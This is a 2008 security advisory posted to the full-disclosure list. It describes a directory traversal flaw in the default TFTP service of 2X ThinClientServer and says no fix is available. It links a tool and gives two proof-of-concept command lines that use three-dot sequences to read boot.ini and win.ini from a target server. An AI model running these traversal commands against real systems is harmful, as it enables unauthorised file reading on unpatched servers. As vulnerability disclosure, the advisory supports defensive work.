full-disclosure - Directory traversal in 2X ThinClientServer v5.0

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Date: Mon, 31 Mar 2008 21:48:47 +0200
From: Luigi Auriemma <aluigi@...istici.org>
To: bugtraq@...urityfocus.com, full-disclosure@...ts.grok.org.uk,
	packet@...ketstormsecurity.org, cert@...t.org, news@...uriteam.com
Subject: Directory traversal in 2X ThinClientServer
	v5.0_sp1-r3497


#######################################################################

                             Luigi Auriemma

Application:  2X ThinClientServer
              http://www.2x.com/thinclientserver/
Versions:     <= v5.0_sp1-r3497
              (TFTPd.exe <= 3.2.0.0)
Platforms:    Windows
Bug:          directory traversal
Exploitation: remote
Date:         29 Mar 2008
Author:       Luigi Auriemma
              e-mail: aluigi@...istici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


>>From the manual:
"2X ThinClientServer allows you to deploy a thin client OS to low-cost
thin client devices and existing PCs, and centrally manage settings and
configure to which terminal servers (Windows or Linux) a user should
log on to."


#######################################################################

======
2) Bug
======


The 2X TFTP Service enabled by default in ThinClientServer is affected
by a directory traversal vulnerability exploitable through the usage of
a sequence of 3 dots (instead of the classical two) for reaching the
various parent directories.


#######################################################################

===========
3) The Code
===========


http://aluigi.org/testz/tftpx.zip

  tftpx SERVER .../.../.../.../.../.../boot.ini none
  tftpx SERVER ...\...\...\...\...\...\windows\win.ini none


#######################################################################

======
4) Fix
======


No fix


#######################################################################


--- 
Luigi Auriemma
http://aluigi.org

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